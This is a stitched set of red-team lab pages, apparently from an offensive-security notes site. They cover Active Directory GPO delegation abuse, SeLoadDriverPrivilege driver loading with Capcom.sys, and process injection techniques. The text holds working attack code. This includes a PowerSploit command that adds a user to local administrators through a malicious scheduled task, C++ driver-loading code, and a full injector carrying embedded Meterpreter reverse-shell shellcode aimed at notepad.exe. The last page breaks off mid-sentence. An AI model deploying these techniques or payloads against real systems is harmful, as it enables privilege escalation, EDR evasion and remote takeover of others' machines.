[](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#gpo-delegation) GPO Delegation -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LU0og1xoZURnLNqeTl2%252F-LU0osxFbkS-f65Eq-mk%252FScreenshot%2520from%25202018-12-18%252014-58-34.png%3Falt%3Dmedia%26token%3D4cedc52b-9f9e-4d03-aa00-3123a1008918&width=768&dpr=3&quality=100&sign=ab1e22c7&sv=2) We can see this by leveraging PowerView like so: The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LU0og1xoZURnLNqeTl2%252F-LU0ouXjPBt-6c935Sg9%252FScreenshot%2520from%25202018-12-18%252014-57-21.png%3Falt%3Dmedia%26token%3D76a84698-f25c-41ff-bab3-91f22d1d7d0b&width=768&dpr=3&quality=100&sign=56342272&sv=2) More about general AD ACL/ACE abuse refer to the lab: [Abusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#abusing-the-gpo-permissions) Abusing the GPO Permissions We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LU0og1xoZURnLNqeTl2%252F-LU0qS-w1r8Yl2EAwJ8i%252FScreenshot%2520from%25202018-12-18%252015-05-25.png%3Falt%3Dmedia%26token%3D4cf9b97f-4083-4a4c-a315-0738ee306dc4&width=768&dpr=3&quality=100&sign=3a7f9563&sv=2) If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUAQX8hJKJAgIq-DjKb%252FScreenshot%2520from%25202018-12-20%252011-41-55.png%3Falt%3Dmedia%26token%3Dad76a386-97c1-40d5-8029-676f9ff84a16&width=768&dpr=3&quality=100&sign=d31112b2&sv=2) #### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#computers-with-a-given-policy-applied) Computers with a Given Policy Applied We can now resolve the computer names the GPO `Misconfigured Policy` is applied to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUAQYr4Kk2056DbNQ7b%252FScreenshot%2520from%25202018-12-20%252011-42-04.png%3Falt%3Dmedia%26token%3D5b86cc58-cdbe-4b6e-b173-e045eb2a1cff&width=768&dpr=3&quality=100&sign=eeb6606e&sv=2) ws01.offense.local has "Misconfigured Policy" applied to it #### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#policies-applied-to-a-given-computer) Policies Applied to a Given Computer ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LWNAqc8wDhu0OYElzrN%252F-LWNBOmSsNrObOboiT2E%252FScreenshot%2520from%25202019-01-16%252019-44-19.png%3Falt%3Dmedia%26token%3D34332022-c1fc-4f97-a7e9-e0e4d98fa8a5&width=768&dpr=3&quality=100&sign=7eb5a391&sv=2) #### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#ous-with-a-given-policy-applied) OUs with a Given Policy Applied ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LWNAqc8wDhu0OYElzrN%252F-LWNBtLT332kTVDzd5qV%252FScreenshot%2520from%25202019-01-16%252019-46-33.png%3Falt%3Dmedia%26token%3Dec90fdc0-e0dc-4db0-8279-cde4720df598&width=768&dpr=3&quality=100&sign=984d31fc&sv=2) #### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#abusing-weak-gpo-permissions) Abusing Weak GPO Permissions One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUAqx9nlqAD9T50ON2b%252FScreenshot%2520from%25202018-12-20%252013-43-46.png%3Falt%3Dmedia%26token%3D262991d6-f546-4d86-a059-0d84a81b440d&width=768&dpr=3&quality=100&sign=b56bddca&sv=2) The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUAr6Xq05z-EfZfbkbI%252FScreenshot%2520from%25202018-12-20%252013-40-11.png%3Falt%3Dmedia%26token%3D1124da26-17ea-4317-ae11-9f5cf008729b&width=768&dpr=3&quality=100&sign=5d5b76da&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#force-policy-update) Force Policy Update ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUArIwm3z8uCrZyWpPd%252FScreenshot%2520from%25202018-12-20%252013-45-18.png%3Falt%3Dmedia%26token%3D6fa8a128-800d-4cab-8fc6-6589da930c24&width=768&dpr=3&quality=100&sign=4aca8521&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#under-the-hood) Under the hood If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUAONoTnpFab60LOMN8%252F-LUAUsiOp1wPCBZZyS-9%252FScreenshot%2520from%25202018-12-20%252012-02-22.png%3Falt%3Dmedia%26token%3Df4555696-fd7a-4772-a9ab-d69bc97b1c38&width=768&dpr=3&quality=100&sign=84264b6d&sv=2) Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO: ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#users-and-groups) Users and Groups The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`: Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Active Directory Privileged Accounts and Groups GuideMicrosoftLearn](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Enabling and Disabling Privileges in C++ - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--) [Scanning for Active Directory Privileges & Privileged AccountsActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=3658) [http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/www.harmj0y.net](http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.tarlogic.com%2Fwp-content%2Fuploads%2F2016%2F11%2FFAVICON-01.png&width=20&dpr=3&quality=100&sign=c9aee4f3&sv=2)Abusing SeLoadDriverPrivilege for privilege escalationTarlogic Security](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) [https://rastamouse.me/2019/01/gpo-abuse-part-1/rastamouse.me](https://rastamouse.me/2019/01/gpo-abuse-part-1/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)HotLoad-Driver/NtLoadDriver/EXE/NtLoadDriver-C++/ntloaddriver.cpp at master · killswitch-GUI/HotLoad-DriverGitHub](https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - tandasat/ExploitCapcom: This is a standalone exploit for a vulnerable feature in Capcom.sysGitHub](https://github.com/tandasat/ExploitCapcom) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)EoPLoadDriver/eoploaddriver.cpp at master · TarlogicSecurity/EoPLoadDriverGitHub](https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)Capcom-Rootkit/Driver/Capcom.sys at master · FuzzySecurity/Capcom-RootkitGitHub](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fspecterops.io%2Fwp-content%2Fuploads%2Fsites%2F3%2F2022%2F03%2Ffavicon-light.png%3Fw%3D156&width=20&dpr=3&quality=100&sign=61f13b07&sv=2)A Red Teamer’s Guide to GPOs and OUsSpecterOps](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) [NTAPI Undocumented Functionsundocumented.ntinternals.net](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) [PreviousAbusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) [NextFrom DnsAdmins to SYSTEM to Domain Compromise](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) Last updated 7 years ago * [Account Operators](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#account-operators) * [Server Operators](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#server-operators) * [Backup Operators](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#backup-operators) * [SeLoadDriverPrivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) * [Capcom.sys Driver Exploit](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#capcom.sys-driver-exploit) * [GPO Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#gpo-delegation) * [Abusing the GPO Permissions](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#abusing-the-gpo-permissions) * [Force Policy Update](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#force-policy-update) * [Under the hood](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#under-the-hood) * [Users and Groups](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#users-and-groups) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#references) privileges.cpp Copy #include "stdafx.h" #include #include int main() { TOKEN_PRIVILEGES tp; LUID luid; bool bEnablePrivilege(true); HANDLE hToken(NULL); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); if (!LookupPrivilegeValue( NULL, // lookup privilege on local system L"SeLoadDriverPrivilege", // privilege to lookup &luid)) // receives LUID of privilege { printf("LookupPrivilegeValue error: %un", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %x", GetLastError()); return FALSE; } system("cmd"); return 0; } Copy PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys"; PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService"; privileges.cpp Copy #include "stdafx.h" #include #include #include #include #include #include #include "stdafx.h" NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName); VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName); int main() { TOKEN_PRIVILEGES tp; LUID luid; bool bEnablePrivilege(true); HANDLE hToken(NULL); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); if (!LookupPrivilegeValue( NULL, // lookup privilege on local system L"SeLoadDriverPrivilege", // privilege to lookup &luid)) // receives LUID of privilege { printf("LookupPrivilegeValue error: %un", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %x", GetLastError()); return FALSE; } //system("cmd"); // below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h std::cout << "[+] Set Registry Keys" << std::endl; NTSTATUS st1; UNICODE_STRING pPath; UNICODE_STRING pPathReg; PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys"; PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService"; const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 }; HMODULE hObsolete = GetModuleHandleA(NTDLL); *(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString"); *(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver"); *(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver"); RtlInitUnicodeString(&pPath, pPathSource); RtlInitUnicodeString(&pPathReg, pPathSourceReg); st1 = NtLoadDriver(&pPathReg); std::cout << "[+] value of st1: " << st1 << "\n"; if (st1 == ERROR_SUCCESS) { std::cout << "[+] Driver Loaded as Kernel..\n"; std::cout << "[+] Press [ENTER] to unload driver\n"; } getchar(); st1 = NtUnloadDriver(&pPathReg); if (st1 == ERROR_SUCCESS) { std::cout << "[+] Driver unloaded from Kernel..\n"; std::cout << "[+] Press [ENTER] to exit\n"; getchar(); } return 0; } attacker@victim Copy Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Copy Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Copy Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_} Copy Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName Copy Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName Copy New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force \\\\offense.local\\SysVol\\offense.local\\Policies\\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml Copy NT AUTHORITY\System NT AUTHORITY\System HighestAvailable S4U PT10M PT1H true false IgnoreNew false true false true false true true PT0S 7 PT0S PT15M 3 cmd /c net localgroup administrators spotless /add %LocalTimeXmlEx% %LocalTimeXmlEx% true \\\\offense.local\\SysVol\\offense.local\\Policies\\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\\Machine\\Preferences\\Groups Copy --- # AddressOfEntryPoint Code Injection without VirtualAllocEx RWX | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx.md) . This is a shellcode injection technique that works as follows: 1. Start a target process into which the shellcode will be injected, in suspended state. 2. Get `AddressOfEntryPoint` of the target process 3. Write shellcode to `AddressOfEntryPoint` retrieved in step 2 4. Resume target process 5. Catch the incoming shell What's nice about this technique is that we do not need to allocate RWX memory pages in the victim process which some EDRs may not like. **Attention** Per [https://github.com/mantvydasb/RedTeaming-Tactics-and-Techniques/issues/36](https://github.com/mantvydasb/RedTeaming-Tactics-and-Techniques/issues/36) . At the page on [AddressOfEntryPoint Code Injection without VirtualAllocEx RWX](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx) , this is not really done without using RWX. As shown in the first picture, the entrypoint memory page is already under RX permissions, and as shown [here](https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions) , the only reason this method works is because WriteProcessMemory is being nice and trying to change RX to RWX temporarily, which would end up creating an RWX page anyways, essentially making this technique still easily detectable by EDRs that look for RWX regions. [](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------------------------------------- First, in order to get `AddressOfEntryPoint`, we need to get the image base address of the target process - notepad.exe: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LqIP1E-YFVG60FnIuFz%252F-LqIRt0m-wHw0b3TPtta%252Fimage.png%3Falt%3Dmedia%26token%3D5bf8c1cb-f652-49ff-a81d-621b0e2934c8&width=768&dpr=3&quality=100&sign=906e62de&sv=2) We then need to parse out the NT and Optional Headers and find the AddressEntryPoint (Relative Virtual Address) of the notepad.exe which in my case was at 0001bf90: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LqIP1E-YFVG60FnIuFz%252F-LqISqDGwqEifuG3bvRt%252Fimage.png%3Falt%3Dmedia%26token%3Da25e4541-748c-417c-9aa1-6d0585d96ecf&width=768&dpr=3&quality=100&sign=ef90b48e&sv=2) Knowing notepad's image base address and an RVA of the AddressEntryPoint, we can get its Virtual Address (by adding the two up) and hijack the executable by overwriting the very first instructions found at that address with our shellcode: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LqIP1E-YFVG60FnIuFz%252F-LqIV7y-utHkIIKs4-qb%252Foverwrite-entrypoint.gif%3Falt%3Dmedia%26token%3Df6e90a96-0912-420c-893c-170fd0022d88&width=768&dpr=3&quality=100&sign=25fa937c&sv=2) bytes at AddressOfEntryPoint get overwritten with shellcode Resuming the suspended process executes our shellcode which results in a meterpreter session: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LqIP1E-YFVG60FnIuFz%252F-LqIVghP3KVN76xxVSEu%252Foverwrite-entrypoint-catch-meterpreter.gif%3Falt%3Dmedia%26token%3Dcb813216-c966-446e-a0fa-a459e5cd71b5&width=768&dpr=3&quality=100&sign=8a8ed734&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx#code) Code ---------------------------------------------------------------------------------------------------------------------------------------------------------- [PreviousNtCreateSection + NtMapViewOfSection Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection) [NextModule Stomping for Shellcode Injection](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection) Last updated 2 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx#execution) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx#code) Copy #include "pch.h" #include #include #include #pragma comment(lib, "ntdll") int main() { //x86 meterpreter unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x05" "\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; STARTUPINFOA si; si = {}; PROCESS_INFORMATION pi = {}; PROCESS_BASIC_INFORMATION pbi = {}; DWORD returnLength = 0; CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); // get target image PEB address and pointer to image base NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8; // get target process image base address LPVOID imageBase = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase); // write shellcode to image entry point and execute it WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL); ResumeThread(pi.hThread); return 0; } --- # NtCreateSection + NtMapViewOfSection Code Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection.md) . [](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#overview) Overview -------------------------------------------------------------------------------------------------------------------------------------------------------- This lab is for a code injection technique that leverages Native APIs `NtCreateSection`, `NtMapViewOfSection` and `RtlCreateUserThread`. * Section is a memory block that is shared between processes and can be created with `NtCreateSection` API * Before a process can read/write to that block of memory, it has to map a view of the said section, which can be done with `NtMapViewOfSection` * Multiple processes can read from and write to the section through the mapped views High level overwiew of the technique: * Create a new memory section with RWX protection * Map a view of the previously created section to the local malicious process with RW protection * Map a view of the previously created section to a remote target process with RX protection. Note that by mapping the views with RW (locally) and RX (in the target process) we do not need to allocate memory pages with RWX, which may be frowned upon by some EDRs. * Fill the view mapped in the local process with shellcode. By definition, the mapped view in the target process will get filled with the same shellcode * Create a remote thread in the target process and point it to the mapped view in the target process to trigger the shellcode [](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#execution) Execution ---------------------------------------------------------------------------------------------------------------------------------------------------------- Let's create a new memory section in the local process, that will have RWX access rights set: Copy fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); We can see the section got created and we obtained its handle 0x88: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Loq5ek3nR4BZ567AM8Z%252F-LoqCPLywPJFklxdvPEx%252Fimage.png%3Falt%3Dmedia%26token%3D49c7a3ef-002d-4097-9b19-8c9e4c3ea0cc&width=768&dpr=3&quality=100&sign=6c25a66f&sv=2) Let's create an RW view of the section in our local process and obtain its address which will get stored in `localSectionAddress`: 